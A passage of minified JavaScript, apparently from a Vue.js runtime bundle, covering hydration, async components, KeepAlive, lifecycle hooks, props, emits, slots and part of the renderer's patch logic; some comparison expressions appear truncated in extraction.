y?(d[r]=l,m(r)&&(u[r]=l)):k&&(h(r,e.k)&&(r.value=l),e.k&&(d[e.k]=l))};if(l){const g=()=>{A(),mr.delete(e)};g.id=-1,mr.set(e,g),Qt(g,s)}else Sp(e),A()}}}function Sp(e){const t=mr.get(e);t&&(t.flags|=8,mr.delete(e))}let Cp=!1;const xi=()=>{Cp||(console.error("Hydration completed but contains mismatches."),Cp=!0)},zx=e=>e.namespaceURI.includes("svg")&&e.tagName!=="foreignObject",Hx=e=>e.namespaceURI.includes("MathML"),No=e=>{if(e.nodeType===1){if(zx(e))return"svg";if(Hx(e))return"mathml"}},Ii=e=>e.nodeType===8;function jx(e){const{mt:t,p:s,o:{patchProp:a,createText:n,nextSibling:i,parentNode:l,remove:o,insert:r,createComment:c}}=e,d=(b,x)=>{if(!x.hasChildNodes()){s(null,b,x),fr(),x._vnode=b;return}u(x.firstChild,b,null,null,null),fr(),x._vnode=b},u=(b,x,w,_,T,L=!1)=>{L=L||!!x.dynamicChildren;const E=Ii(b)&&b.data==="[",F=()=>y(b,x,w,_,T,E),{type:O,ref:I,shapeFlag:H,patchFlag:te}=x;let ee=b.nodeType;x.el=b,te===-2&&(L=!1,x.dynamicChildren=null);let N=null;switch(O){case On:ee!==3?x.children===""?(r(x.el=n(""),l(b),b),N=b):N=F():(b.data!==x.children&&(xi(),b.data=x.children),N=i(b));break;case Zt:g(b)?(N=i(b),A(x.el=b.content.firstChild,b,w)):ee!==8||E?N=F():N=i(b);break;case Xn:if(E&&(b=i(b),ee=b.nodeType),ee===1||ee===3){N=b;const M=!x.children.length;for(let $=0;${L=L||!!x.dynamicChildren;const{type:E,props:F,patchFlag:O,shapeFlag:I,dirs:H,transition:te}=x,ee=E==="input"||E==="option";if(ee||O!==-1){H&&Ia(x,null,w,"created");let N=!1;if(g(b)){N=Uv(null,te)&&w&&w.vnode.props&&w.vnode.props.appear;const $=b.content.firstChild;if(N){const re=$.getAttribute("class");re&&($.$cls=re),te.beforeEnter($)}A($,b,w),x.el=b=$}if(I&16&&!(F&&(F.innerHTML||F.textContent))){let $=m(b.firstChild,x,b,w,_,T,L);for($&&!Mo(b,1)&&xi();$;){const re=$;$=$.nextSibling,o(re)}}else if(I&8){let $=x.children;$[0]===` -`&&(b.tagName==="PRE"||b.tagName==="TEXTAREA")&&($=$.slice(1));const{textContent:re}=b;re!==$&&re!==$.replace(/\r\n|\r/g,` -`)&&(Mo(b,0)||xi(),b.textContent=x.children)}if(F){if(ee||!L||O&48){const $=b.tagName.includes("-");for(const re in F)(ee&&(re.endsWith("value")||re==="indeterminate")||li(re)&&!en(re)||re[0]==="."||$&&!en(re))&&a(b,re,null,F[re],void 0,w)}else if(F.onClick)a(b,"onClick",null,F.onClick,void 0,w);else if(O&4&&tn(F.style))for(const $ in F.style)F.style[$]}let M;(M=F&&F.onVnodeBeforeMount)&&Bs(M,w,x),H&&Ia(x,null,w,"beforeMount"),((M=F&&F.onVnodeMounted)||H||N)&&qv(()=>{M&&Bs(M,w,x),N&&te.enter(b),H&&Ia(x,null,w,"mounted")},_)}return b.nextSibling},m=(b,x,w,_,T,L,E)=>{E=E||!!x.dynamicChildren;const F=x.children,O=F.length;let I=!1;for(let H=0;H{const{slotScopeIds:E}=x;E&&(T=T?T.concat(E):E);const F=l(b),O=m(i(b),x,F,w,_,T,L);return O&&Ii(O)&&O.data==="]"?i(x.anchor=O):(xi(),r(x.anchor=c("]"),F,O),O)},y=(b,x,w,_,T,L)=>{if(Mo(b.parentElement,1)||xi(),x.el=null,L){const O=k(b);for(;;){const I=i(b);if(I&&I!==O)o(I);else break}}const E=i(b),F=l(b);return o(b),s(null,x,F,E,w,_,No(F),T),w&&(w.vnode.el=x.el,sc(w,x.el)),E},k=(b,x="[",w="]")=>{let _=0;for(;b;)if(b=i(b),b&&Ii(b)&&(b.data===x&&_++,b.data===w)){if(_===0)return i(b);_--}return b},A=(b,x,w)=>{const _=x.parentNode;_&&_.replaceChild(b,x);let T=w;for(;T;)T.vnode.el===x&&(T.vnode.el=T.subTree.el=b),T=T.parent},g=b=>b.nodeType===1&&b.tagName==="TEMPLATE";return[d,u]}const Tp="data-allow-mismatch",qx={0:"text",1:"children",2:"class",3:"style",4:"attribute"};function Mo(e,t){if(t===0||t===1)for(;e&&!e.hasAttribute(Tp);)e=e.parentElement;const s=e&&e.getAttribute(Tp);if(s==null)return!1;if(s==="")return!0;{const a=s.split(",");return t===0&&a.includes("children")?!0:a.includes(qx[t])}}const Vx=qr().requestIdleCallback||(e=>setTimeout(e,1)),Gx=qr().cancelIdleCallback||(e=>clearTimeout(e)),Wx=(e=1e4)=>t=>{const s=Vx(t,{timeout:e});return()=>Gx(s)};function Kx(e){const{top:t,left:s,bottom:a,right:n}=e.getBoundingClientRect(),{innerHeight:i,innerWidth:l}=window;return(t>0&&t0&&a0&&s0&&n(t,s)=>{const a=new IntersectionObserver(n=>{for(const i of n)if(i.isIntersecting){a.disconnect(),t();break}},e);return s(n=>{if(n instanceof Element){if(Kx(n))return t(),a.disconnect(),!1;a.observe(n)}}),()=>a.disconnect()},Zx=e=>t=>{if(e){const s=matchMedia(e);if(s.matches)t();else return s.addEventListener("change",t,{once:!0}),()=>s.removeEventListener("change",t)}},Qx=(e=[])=>(t,s)=>{Ze(e)&&(e=[e]);let a=!1;const n=l=>{a||(a=!0,i(),t(),l.target.dispatchEvent(new l.constructor(l.type,l)))},i=()=>{s(l=>{for(const o of e)l.removeEventListener(o,n)})};return s(l=>{for(const o of e)l.addEventListener(o,n,{once:!0})}),i};function Yx(e,t){if(Ii(e)&&e.data==="["){let s=1,a=e.nextSibling;for(;a;){if(a.nodeType===1){if(t(a)===!1)break}else if(Ii(a))if(a.data==="]"){if(--s===0)break}else a.data==="["&&s++;a=a.nextSibling}}else t(e)}const sn=e=>!!e.type.__asyncLoader;function Xx(e){Ve(e)&&(e={loader:e});const{loader:t,loadingComponent:s,errorComponent:a,delay:n=200,hydrate:i,timeout:l,suspensible:o=!0,onError:r}=e;let c=null,d,u=0;const p=()=>(u++,c=null,m()),m=()=>{let h;return c||(h=c=t().catch(y=>{if(y=y instanceof Error?y:new Error(String(y)),r)return new Promise((k,A)=>{r(y,()=>k(p()),()=>A(y),u+1)});throw y}).then(y=>h!==c&&c?c:(y&&(y.__esModule||y[Symbol.toStringTag]==="Module")&&(y=y.default),d=y,y)))};return fo({name:"AsyncComponentWrapper",__asyncLoader:m,__asyncHydrate(h,y,k){let A=!1;(y.bu||(y.bu=[])).push(()=>A=!0);const g=()=>{A||k()},b=i?()=>{const x=i(g,w=>Yx(h,w));x&&(y.bum||(y.bum=[])).push(x)}:g;d?b():m().then(()=>!y.isUnmounted&&b())},get __asyncResolved(){return d},setup(){const h=fs;if(iu(h),d)return()=>Do(d,h);const y=w=>{c=null,ci(w,h,13,!a)};if(o&&h.suspense||ai)return m().then(w=>()=>Do(w,h)).catch(w=>(y(w),()=>a?Bt(a,{error:w}):null));const k=f(!1),A=f(),g=f(!!n);let b,x;return wt(()=>{b!=null&&clearTimeout(b),x!=null&&clearTimeout(x)}),n&&(x=setTimeout(()=>{h.isUnmounted||(g.value=!1)},n)),l!=null&&(b=setTimeout(()=>{if(!h.isUnmounted&&!k.value&&!A.value){const w=new Error(`Async component timed out after ${l}ms.`);y(w),A.value=w}},l)),m().then(()=>{h.isUnmounted||(k.value=!0,h.parent&&mo(h.parent.vnode)&&h.parent.update())}).catch(w=>{if(h.isUnmounted){c=null;return}y(w),A.value=w}),()=>{if(k.value&&d)return Do(d,h);if(A.value&&a)return Bt(a,{error:A.value});if(s&&!g.value)return Do(s,h)}}})}function Do(e,t){const{ref:s,props:a,children:n,ce:i}=t.vnode,l=Bt(e,a,n);return l.ref=s,l.ce=i,delete t.vnode.ce,l}const mo=e=>e.type.__isKeepAlive,e0={name:"KeepAlive",__isKeepAlive:!0,props:{include:[String,RegExp,Array],exclude:[String,RegExp,Array],max:[String,Number]},setup(e,{slots:t}){const s=Ds(),a=s.ctx;if(!a.renderer)return()=>{const g=t.default&&t.default();return g&&g.length===1?g[0]:g};const n=new Map,i=new Set;let l=null;const o=s.suspense,{renderer:{p:r,m:c,um:d,o:{createElement:u}}}=a,p=u("div");a.activate=(g,b,x,w,_)=>{const T=g.component;c(g,b,x,0,o),r(T.vnode,g,b,x,T,o,w,g.slotScopeIds,_),Qt(()=>{T.isDeactivated=!1,T.a&&Di(T.a);const L=g.props&&g.props.onVnodeMounted;L&&Bs(L,T.parent,g)},o)},a.deactivate=g=>{const b=g.component;hr(b.m),hr(b.a),c(g,p,null,1,o),Qt(()=>{b.da&&Di(b.da);const x=g.props&&g.props.onVnodeUnmounted;x&&Bs(x,b.parent,g),b.isDeactivated=!0},o)};function m(g){Dc(g),d(g,s,o,!0)}function h(g){n.forEach((b,x)=>{const w=bd(sn(b)?b.type.__asyncResolved||{}:b.type);w&&!g(w)&&y(x)})}function y(g){const b=n.get(g);b&&(!l||!fa(b,l))?m(b):l&&Dc(l),n.delete(g),i.delete(g)}Gt(()=>[e.include,e.exclude],([g,b])=>{g&&h(x=>El(g,x)),b&&h(x=>!El(b,x))},{flush:"post",deep:!0});let k=null;const A=()=>{k!=null&&(gr(s.subTree.type)?Qt(()=>{n.set(k,Po(s.subTree))},s.subTree.suspense):n.set(k,Po(s.subTree)))};return st(A),Xr(A),ec(()=>{n.forEach(g=>{const{subTree:b,suspense:x}=s,w=Po(b);if(g.type===w.type&&g.key===w.key){Dc(w);const _=w.component.da;_&&Qt(_,x);return}m(g)})}),()=>{if(k=null,!t.default)return l=null;const g=t.default(),b=g[0];if(g.length>1)return l=null,g;if(!cn(b)||!(b.shapeFlag&4)&&!(b.shapeFlag&128))return l=null,b;let x=Po(b);if(x.type===Zt)return l=null,x;const w=x.type,_=bd(sn(x)?x.type.__asyncResolved||{}:w),{include:T,exclude:L,max:E}=e;if(T&&(!_||!El(T,_))||L&&_&&El(L,_))return x.shapeFlag&=-257,l=x,b;const F=x.key==null?w:x.key,O=n.get(F);return x.el&&(x=Ma(x),b.shapeFlag&128&&(b.ssContent=x)),k=F,O?(x.el=O.el,x.component=O.component,x.transition&&rn(x,x.transition),x.shapeFlag|=512,i.delete(F),i.add(F)):(i.add(F),E&&i.size>parseInt(E,10)&&y(i.values().next().value)),x.shapeFlag|=256,l=x,gr(b.type)?b:x}}},t0=e0;function El(e,t){return Me(e)?e.some(s=>El(s,t)):Ze(e)?e.split(",").includes(t):uy(e)?(e.lastIndex=0,e.test(t)):!1}function cs(e,t){hv(e,"a",t)}function es(e,t){hv(e,"da",t)}function hv(e,t,s=fs){const a=e.__wdc||(e.__wdc=()=>{let n=s;for(;n;){if(n.isDeactivated)return;n=n.parent}return e()});if(Yr(t,a,s),s){let n=s.parent;for(;n&&n.parent;)mo(n.parent.vnode)&&s0(a,t,s,n),n=n.parent}}function s0(e,t,s,a){const n=Yr(t,e,a,!0);wt(()=>{Gd(a[t],n)},s)}function Dc(e){e.shapeFlag&=-257,e.shapeFlag&=-513}function Po(e){return e.shapeFlag&128?e.ssContent:e}function Yr(e,t,s=fs,a=!1){if(s){const n=s[e]||(s[e]=[]),i=t.__weh||(t.__weh=(...l)=>{ln();const o=sl(s),r=Ys(t,s,e,l);return o(),on(),r});return a?n.unshift(i):n.push(i),i}}const dn=e=>(t,s=fs)=>{(!ai||e==="sp")&&Yr(e,(...a)=>t(...a),s)},gv=dn("bm"),st=dn("m"),lu=dn("bu"),Xr=dn("u"),ec=dn("bum"),wt=dn("um"),bv=dn("sp"),yv=dn("rtg"),xv=dn("rtc");function _v(e,t=fs){Yr("ec",e,t)}const ou="components",a0="directives";function n0(e,t){return ru(ou,e,!0,t)||e}const wv=Symbol.for("v-ndc");function i0(e){return Ze(e)?ru(ou,e,!1)||e:e||wv}function l0(e){return ru(a0,e)}function ru(e,t,s=!0,a=!1){const n=ms||fs;if(n){const i=n.type;if(e===ou){const o=bd(i,!1);if(o&&(o===t||o===Tt(t)||o===ri(Tt(t))))return i}const l=Ep(n[e]||i[e],t)||Ep(n.appContext[e],t);return!l&&a?i:l}}function Ep(e,t){return e&&(e[t]||e[Tt(t)]||e[ri(Tt(t))])}function o0(e,t,s,a){let n;const i=s&&s[a],l=Me(e);if(l||Ze(e)){const o=l&&tn(e);let r=!1,c=!1;o&&(r=!qs(e),c=Na(e),e=Wr(e)),n=new Array(e.length);for(let d=0,u=e.length;dt(o,r,void 0,i&&i[r]));else{const o=Object.keys(e);n=new Array(o.length);for(let r=0,c=o.length;r{const i=a.fn(...n);return i&&(i.key=a.key),i}:a.fn)}return e}function c0(e,t,s={},a,n){if(ms.ce||ms.parent&&sn(ms.parent)&&ms.parent.ce){const c=Object.keys(s).length>0;return t!=="default"&&(s.name=t),Jl(),br(rs,null,[Bt("slot",s,a&&a())],c?-2:64)}let i=e[t];i&&i._c&&(i._d=!1),Jl();const l=i&&cu(i(s)),o=s.key||l&&l.key,r=br(rs,{key:(o&&!Cs(o)?o:`_${t}`)+(!l&&a?"_fb":"")},l||(a?a():[]),l&&e._===1?64:-2);return!n&&r.scopeId&&(r.slotScopeIds=[r.scopeId+"-s"]),i&&i._c&&(i._d=!0),r}function cu(e){return e.some(t=>cn(t)?!(t.type===Zt||t.type===rs&&!cu(t.children)):!0)?e:null}function d0(e,t){const s={};for(const a in e)s[t&&/[A-Z]/.test(a)?`on:${a}`:Mi(a)]=e[a];return s}const dd=e=>e?Yv(e)?vo(e):dd(e.parent):null,Ml=lt(Object.create(null),{$:e=>e,$el:e=>e.vnode.el,$data:e=>e.data,$props:e=>e.props,$attrs:e=>e.attrs,$slots:e=>e.slots,$refs:e=>e.refs,$parent:e=>dd(e.parent),$root:e=>dd(e.root),$host:e=>e.ce,$emit:e=>e.emit,$options:e=>du(e),$forceUpdate:e=>e.f||(e.f=()=>{tu(e.update)}),$nextTick:e=>e.n||(e.n=Ut.bind(e.proxy)),$watch:e=>Nx.bind(e)}),Pc=(e,t)=>e!==ct&&!e.__isScriptSetup&&bt(e,t),ud={get({_:e},t){if(t==="__v_skip")return!0;const{ctx:s,setupState:a,data:n,props:i,accessCache:l,type:o,appContext:r}=e;if(t[0]!=="$"){const p=l[t];if(p!==void 0)switch(p){case 1:return a[t];case 2:return n[t];case 4:return s[t];case 3:return i[t]}else{if(Pc(a,t))return l[t]=1,a[t];if(n!==ct&&bt(n,t))return l[t]=2,n[t];if(bt(i,t))return l[t]=3,i[t];if(s!==ct&&bt(s,t))return l[t]=4,s[t];pd&&(l[t]=0)}}const c=Ml[t];let d,u;if(c)return t==="$attrs"&&ws(e.attrs,"get",""),c(e);if((d=o.__cssModules)&&(d=d[t]))return d;if(s!==ct&&bt(s,t))return l[t]=4,s[t];if(u=r.config.globalProperties,bt(u,t))return u[t]},set({_:e},t,s){const{data:a,setupState:n,ctx:i}=e;return Pc(n,t)?(n[t]=s,!0):a!==ct&&bt(a,t)?(a[t]=s,!0):bt(e.props,t)||t[0]==="$"&&t.slice(1)in e?!1:(i[t]=s,!0)},has({_:{data:e,setupState:t,accessCache:s,ctx:a,appContext:n,props:i,type:l}},o){let r;return!!(s[o]||e!==ct&&o[0]!=="$"&&bt(e,o)||Pc(t,o)||bt(i,o)||bt(a,o)||bt(Ml,o)||bt(n.config.globalProperties,o)||(r=l.__cssModules)&&r[o])},defineProperty(e,t,s){return s.get!=null?e._.accessCache[t]=0:bt(s,"value")&&this.set(e,t,s.value,null),Reflect.defineProperty(e,t,s)}},u0=lt({},ud,{get(e,t){if(t!==Symbol.unscopables)return ud.get(e,t,e)},has(e,t){return t[0]!=="_"&&!by(t)}});function p0(){return null}function f0(){return null}function m0(e){}function v0(e){}function h0(){return null}function g0(){}function b0(e,t){return null}function y0(){return kv().slots}function x0(){return kv().attrs}function kv(e){const t=Ds();return t.setupContext||(t.setupContext=sh(t))}function Wl(e){return Me(e)?e.reduce((t,s)=>(t[s]=null,t),{}):e}function _0(e,t){const s=Wl(e);for(const a in t){if(a.startsWith("__skip"))continue;let n=s[a];n?Me(n)||Ve(n)?n=s[a]={type:n,default:t[a]}:n.default=t[a]:n===null&&(n=s[a]={default:t[a]}),n&&t[`__skip_${a}`]&&(n.skipFactory=!0)}return s}function w0(e,t){return!e||!t?e||t:Me(e)&&Me(t)?e.concat(t):lt({},Wl(e),Wl(t))}function k0(e,t){const s={};for(const a in e)t.includes(a)||Object.defineProperty(s,a,{enumerable:!0,get:()=>e[a]});return s}function S0(e){const t=Ds(),s=ai;let a=e();Ql(),s&&Bi(!1);const n=()=>{sl(t),s&&Bi(!0)},i=()=>{Ds()!==t&&t.scope.off(),Ql(),s&&Bi(!1)};return Wd(a)&&(a=a.catch(l=>{throw n(),Promise.resolve().then(()=>Promise.resolve().then(i)),l})),[a,()=>{n(),Promise.resolve().then(i)}]}let pd=!0;function C0(e){const t=du(e),s=e.proxy,a=e.ctx;pd=!1,t.beforeCreate&&Ap(t.beforeCreate,e,"bc");const{data:n,computed:i,methods:l,watch:o,provide:r,inject:c,created:d,beforeMount:u,mounted:p,beforeUpdate:m,updated:h,activated:y,deactivated:k,beforeDestroy:A,beforeUnmount:g,destroyed:b,unmounted:x,render:w,renderTracked:_,renderTriggered:T,errorCaptured:L,serverPrefetch:E,expose:F,inheritAttrs:O,components:I,directives:H,filters:te}=t;if(c&&T0(c,a,null),l)for(const M in l){const $=l[M];Ve($)&&(a[M]=$.bind(s))}if(n){const M=n.call(s,s);ht(M)&&(e.data=Mn(M))}if(pd=!0,i)for(const M in i){const $=i[M],re=Ve($)?$.bind(s,s):Ve($.get)?$.get.bind(s,s):vs,ce=!Ve($)&&Ve($.set)?$.set.bind(s):vs,Z=B({get:re,set:ce});Object.defineProperty(a,M,{enumerable:!0,configurable:!0,get:()=>Z.value,set:Q=>Z.value=Q})}if(o)for(const M in o)Sv(o[M],a,s,M);if(r){const M=Ve(r)?r.call(s):r;Reflect.ownKeys(M).forEach($=>{Nl($,M[$])})}d&&Ap(d,e,"c");function N(M,$){Me($)?$.forEach(re=>M(re.bind(s))):$&&M($.bind(s))}if(N(gv,u),N(st,p),N(lu,m),N(Xr,h),N(cs,y),N(es,k),N(_v,L),N(xv,_),N(yv,T),N(ec,g),N(wt,x),N(bv,E),Me(F))if(F.length){const M=e.exposed||(e.exposed={});F.forEach($=>{Object.defineProperty(M,$,{get:()=>s[$],set:re=>s[$]=re,enumerable:!0})})}else e.exposed||(e.exposed={});w&&e.render===vs&&(e.render=w),O!=null&&(e.inheritAttrs=O),I&&(e.components=I),H&&(e.directives=H),E&&iu(e)}function T0(e,t,s=vs){Me(e)&&(e=fd(e));for(const a in e){const n=e[a];let i;ht(n)?"default"in n?i=ra(n.from||a,n.default,!0):i=ra(n.from||a):i=ra(n),Xt(i)?Object.defineProperty(t,a,{enumerable:!0,configurable:!0,get:()=>i.value,set:l=>i.value=l}):t[a]=i}}function Ap(e,t,s){Ys(Me(e)?e.map(a=>a.bind(t.proxy)):e.bind(t.proxy),t,s)}function Sv(e,t,s,a){let n=a.includes(".")?cv(s,a):()=>s[a];if(Ze(e)){const i=t[e];Ve(i)&&Gt(n,i)}else if(Ve(e))Gt(n,e.bind(s));else if(ht(e))if(Me(e))e.forEach(i=>Sv(i,t,s,a));else{const i=Ve(e.handler)?e.handler.bind(s):t[e.handler];Ve(i)&&Gt(n,i,e)}}function du(e){const t=e.type,{mixins:s,extends:a}=t,{mixins:n,optionsCache:i,config:{optionMergeStrategies:l}}=e.appContext,o=i.get(t);let r;return o?r=o:!n.length&&!s&&!a?r=t:(r={},n.length&&n.forEach(c=>vr(r,c,l,!0)),vr(r,t,l)),ht(t)&&i.set(t,r),r}function vr(e,t,s,a=!1){const{mixins:n,extends:i}=t;i&&vr(e,i,s,!0),n&&n.forEach(l=>vr(e,l,s,!0));for(const l in t)if(!(a&&l==="expose")){const o=E0[l]||s&&s[l];e[l]=o?o(e[l],t[l]):t[l]}return e}const E0={data:Rp,props:Ip,emits:Ip,methods:Al,computed:Al,beforeCreate:Is,created:Is,beforeMount:Is,mounted:Is,beforeUpdate:Is,updated:Is,beforeDestroy:Is,beforeUnmount:Is,destroyed:Is,unmounted:Is,activated:Is,deactivated:Is,errorCaptured:Is,serverPrefetch:Is,components:Al,directives:Al,watch:R0,provide:Rp,inject:A0};function Rp(e,t){return t?e?function(){return lt(Ve(e)?e.call(this,this):e,Ve(t)?t.call(this,this):t)}:t:e}function A0(e,t){return Al(fd(e),fd(t))}function fd(e){if(Me(e)){const t={};for(let s=0;s{let d,u=ct,p;return rv(()=>{const m=e[n];os(d,m)&&(d=m,c())}),{get(){return r(),s.get?s.get(d):d},set(m){const h=s.set?s.set(m):m;if(!os(h,d)&&!(u!==ct&&os(m,u)))return;const y=a.vnode.props,k=!!(y&&(t in y||n in y||i in y)&&(`onUpdate:${t}`in y||`onUpdate:${n}`in y||`onUpdate:${i}`in y));k||(d=m,c()),a.emit(`update:${t}`,h),os(m,u)&&(os(m,h)&&!os(h,p)||k&&u!==ct&&!os(h,d))&&c(),u=m,p=h}}});return o[Symbol.iterator]=()=>{let r=0;return{next(){return r<2?{value:r++?l||ct:o,done:!1}:{done:!0}}}},o}const Tv=(e,t)=>t==="modelValue"||t==="model-value"?e.modelModifiers:e[`${t}Modifiers`]||e[`${Tt(t)}Modifiers`]||e[`${Hs(t)}Modifiers`];function N0(e,t,...s){if(e.isUnmounted)return;const a=e.vnode.props||ct;let n=s;const i=t.startsWith("update:"),l=i&&Tv(a,t.slice(7));l&&(l.trim&&(n=s.map(d=>Ze(d)?d.trim():d)),l.number&&(n=s.map(jr)));let o,r=a[o=Mi(t)]||a[o=Mi(Tt(t))];!r&&i&&(r=a[o=Mi(Hs(t))]),r&&Ys(r,e,6,n);const c=a[o+"Once"];if(c){if(!e.emitted)e.emitted={};else if(e.emitted[o])return;e.emitted[o]=!0,Ys(c,e,6,n)}}const M0=new WeakMap;function Ev(e,t,s=!1){const a=s?M0:t.emitsCache,n=a.get(e);if(n!==void 0)return n;const i=e.emits;let l={},o=!1;if(!Ve(e)){const r=c=>{const d=Ev(c,t,!0);d&&(o=!0,lt(l,d))};!s&&t.mixins.length&&t.mixins.forEach(r),e.extends&&r(e.extends),e.mixins&&e.mixins.forEach(r)}return!i&&!o?(ht(e)&&a.set(e,null),null):(Me(i)?i.forEach(r=>l[r]=null):lt(l,i),ht(e)&&a.set(e,l),l)}function tc(e,t){return!e||!li(t)?!1:(t=t.slice(2).replace(/Once$/,""),bt(e,t[0].toLowerCase()+t.slice(1))||bt(e,Hs(t))||bt(e,t))}function er(e){const{type:t,vnode:s,proxy:a,withProxy:n,propsOptions:[i],slots:l,attrs:o,emit:r,render:c,renderCache:d,props:u,data:p,setupState:m,ctx:h,inheritAttrs:y}=e,k=Gl(e);let A,g;try{if(s.shapeFlag&4){const x=n||a,w=x;A=zs(c.call(w,x,d,u,m,p,h)),g=o}else{const x=t;A=zs(x.length>1?x(u,{attrs:o,slots:l,emit:r}):x(u,null)),g=t.props?o:P0(o)}}catch(x){Dl.length=0,ci(x,e,1),A=Bt(Zt)}let b=A;if(g&&y!==!1){const x=Object.keys(g),{shapeFlag:w}=b;x.length&&w&7&&(i&&x.some(Br)&&(g=$0(g,i)),b=Ma(b,g,!1,!0))}return s.dirs&&(b=Ma(b,null,!1,!0),b.dirs=b.dirs?b.dirs.concat(s.dirs):s.dirs),s.transition&&rn(b,s.transition),A=b,Gl(k),A}function D0(e,t=!0){let s;for(let a=0;a{let t;for(const s in e)(s==="class"||s==="style"||li(s))&&((t||(t={}))[s]=e[s]);return t},$0=(e,t)=>{const s={};for(const a in e)(!Br(a)||!(a.slice(9)in t))&&(s[a]=e[a]);return s};function F0(e,t,s){const{props:a,children:n,component:i}=e,{props:l,children:o,patchFlag:r}=t,c=i.emitsOptions;if(t.dirs||t.transition)return!0;if(s&&r>=0){if(r&1024)return!0;if(r&16)return a?Op(a,l,c):!!l;if(r&8){const d=t.dynamicProps;for(let u=0;uObject.create(Rv),Ov=e=>Object.getPrototypeOf(e)===Rv;function B0(e,t,s,a=!1){const n={},i=Iv();e.propsDefaults=Object.create(null),Lv(e,t,n,i);for(const l in e.propsOptions[0])l in n||(n[l]=void 0);s?e.props=a?n:Yd(n):e.type.props?e.props=n:e.props=i,e.attrs=i}function U0(e,t,s,a){const{props:n,attrs:i,vnode:{patchFlag:l}}=e,o=ft(n),[r]=e.propsOptions;let c=!1;if((a||l>0)&&!(l&16)){if(l&8){const d=e.vnode.dynamicProps;for(let u=0;u{r=!0;const[p,m]=Nv(u,t,!0);lt(l,p),m&&o.push(...m)};!s&&t.mixins.length&&t.mixins.forEach(d),e.extends&&d(e.extends),e.mixins&&e.mixins.forEach(d)}if(!i&&!r)return ht(e)&&a.set(e,Li),Li;if(Me(i))for(let d=0;de==="_"||e==="_ctx"||e==="$stable",pu=e=>Me(e)?e.map(zs):[zs(e)],H0=(e,t,s)=>{if(t._n)return t;const a=su((...n)=>pu(t(...n)),s);return a._c=!1,a},Mv=(e,t,s)=>{const a=e._ctx;for(const n in e){if(uu(n))continue;const i=e[n];if(Ve(i))t[n]=H0(n,i,a);else if(i!=null){const l=pu(i);t[n]=()=>l}}},Dv=(e,t)=>{const s=pu(t);e.slots.default=()=>s},Pv=(e,t,s)=>{for(const a in t)(s||!uu(a))&&(e[a]=t[a])},j0=(e,t,s)=>{const a=e.slots=Iv();if(e.vnode.shapeFlag&32){const n=t._;n?(Pv(a,t,s),s&&Am(a,"_",n,!0)):Mv(t,a)}else t&&Dv(e,t)},q0=(e,t,s)=>{const{vnode:a,slots:n}=e;let i=!0,l=ct;if(a.shapeFlag&32){const o=t._;o?s&&o===1?i=!1:Pv(n,t,s):(i=!t.$stable,Mv(t,n)),l=t}else t&&(Dv(e,t),l={default:1});if(i)for(const o in n)!uu(o)&&l[o]==null&&delete n[o]},Qt=qv;function $v(e){return Bv(e)}function Fv(e){return Bv(e,jx)}function Bv(e,t){const s=qr();s.__VUE__=!0;const{insert:a,remove:n,patchProp:i,createElement:l,createText:o,createComment:r,setText:c,setElementText:d,parentNode:u,nextSibling:p,setScopeId:m=vs,insertStaticContent:h}=e,y=(S,P,G,he=null,fe=null,me=null,we=void 0,J=null,ie=!!P.dynamicChildren)=>{if(S===P)return;S&&!fa(S,P)&&(he=le(S),Q(S,fe,me,!0),S=null),P.patchFlag===-2&&(ie=!1,P.dynamicChildren=null);const{type:X,ref:_e,shapeFlag:U}=P;switch(X){case On:k(S,P,G,he);break;case Zt:A(S,P,G,he);break;case Xn:S==null&&g(P,G,he,we);break;case rs:I(S,P,G,he,fe,me,we,J,ie);break;default:U&1?w(S,P,G,he,fe,me,we,J,ie):U&6?H(S,P,G,he,fe,me,we,J,ie):(U&64||U&128)&&X.process(S,P,G,he,fe,me,we,J,ie,j)}_e!=null&&fe?$i(_e,S&&S.ref,me,P||S,!P):_e==null&&S&&S.ref!=null&&$i(S.ref,null,me,S,!0)},k=(S,P,G,he)=>{if(S==null)a(P.el=o(P.children),G,he);else{const fe=P.el=S.el;P.children!==S.children&&c(fe,P.children)}},A=(S,P,G,he)=>{S==null?a(P.el=r(P.children||""),G,he):P.el=S.el},g=(S,P,G,he)=>{[S.el,S.anchor]=h(S.children,P,G,he,S.el,S.anchor)},b=({el:S,anchor:P},G,he)=>{let fe;for(;S&&S!==P;)fe=p(S),a(S,G,he),S=fe;a(P,G,he)},x=({el:S,anchor:P})=>{let G;for(;S&&S!==P;)G=p(S),n(S),S=G;n(P)},w=(S,P,G,he,fe,me,we,J,ie)=>{if(P.type==="svg"?we="svg":P.type==="math"&&(we="mathml"),S==null)_(P,G,he,fe,me,we,J,ie);else{const X=S.el&&S.el._isVueCE?S.el:null;try{X&&X._beginPatch(),E(S,P,fe,me,we,J,ie)}finally{X&&X._endPatch()}}},_=(S,P,G,he,fe,me,we,J)=>{let ie,X;const{props:_e,shapeFlag:U,transition:de,dirs:ge}=S;if(ie=S.el=l(S.type,me,_e&&_e.is,_e),U&8?d(ie,S.children):U&16&&L(S.children,ie,null,he,fe,$c(S,me),we,J),ge&&Ia(S,null,he,"created"),T(ie,S,S.scopeId,we,he),_e){for(const $e in _e)$e!=="value"&&!en($e)&&i(ie,$e,null,_e[$e],me,he);"value"in _e&&i(ie,"value",null,_e.value,me),(X=_e.onVnodeBeforeMount)&&Bs(X,he,S)}ge&&Ia(S,null,he,"beforeMount");const Ae=Uv(fe,de);Ae&&de.beforeEnter(ie),a(ie,P,G),((X=_e&&_e.onVnodeMounted)||Ae||ge)&&Qt(()=>{try{X&&Bs(X,he,S),Ae&&de.enter(ie),ge&&Ia(S,null,he,"mounted")}finally{}},fe)},T=(S,P,G,he,fe)=>{if(G&&m(S,G),he)for(let me=0;me{for(let X=ie;X{const J=P.el=S.el;let{patchFlag:ie,dynamicChildren:X,dirs:_e}=P;ie|=S.patchFlag&16;const U=S.props||ct,de=P.props||ct;let ge;if(G&&Hn(G,!1),(ge=de.onVnodeBeforeUpdate)&&Bs(ge,G,P,S),_e&&Ia(P,S,G,"beforeUpdate"),G&&Hn(G,!0),(U.innerHTML&&de.innerHTML==null||U.textContent&&de.textContent==null)&&d(J,""),X?F(S.dynamicChildren,X,J,G,he,$c(P,fe),me):we||$(S,P,J,null,G,he,$c(P,fe),me,!1),ie>0){if(ie&16)O(J,U,de,G,fe);else if(ie&2&&U.class!==de.class&&i(J,"class",null,de.class,fe),ie&4&&i(J,"style",U.style,de.style,fe),ie&8){const Ae=P.dynamicProps;for(let $e=0;$e{ge&&Bs(ge,G,P,S),_e&&Ia(P,S,G,"updated")},he)},F=(S,P,G,he,fe,me,we)=>{for(let J=0;J{if(P!==G){if(P!==ct)for(const me in P)!en(me)&&!(me in 